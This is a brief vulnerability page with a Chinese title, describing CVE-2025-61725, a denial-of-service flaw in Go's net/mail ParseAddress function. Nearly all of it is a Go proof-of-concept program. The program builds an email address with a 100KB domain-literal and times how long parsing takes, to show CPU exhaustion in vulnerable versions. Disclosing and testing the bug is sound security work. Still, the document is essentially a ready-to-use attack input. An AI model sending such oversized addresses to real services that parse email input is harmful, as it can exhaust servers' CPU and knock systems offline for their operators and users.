CVE-2025-61725 Go语言net/mail包ParseAddress拒绝服务漏洞

// CVE-2025-61725 PoC - DoS via ParseAddress function package main import ( "fmt" "net/mail" "time" ) func main() { // Create a large domain-literal component to trigger CPU exhaustion // The vulnerability occurs when parsing addresses with oversized domain-literal parts largeDomain := make([]byte, 100000) // 100KB of data for i := range largeDomain { largeDomain[i] = 'x' } maliciousAddress := fmt.Sprintf("user@[.%s]", largeDomain) fmt.Println("Starting ParseAddress with large domain-literal...") start := time.Now() _, err := mail.ParseAddress(maliciousAddress) elapsed := time.Since(start) fmt.Printf("ParseAddress completed in: %v\n", elapsed) if err != nil { fmt.Printf("Parse error (expected): %v\n", err) } // Note: In vulnerable versions, this will consume excessive CPU time // Fixed versions should parse quickly with optimized string handling }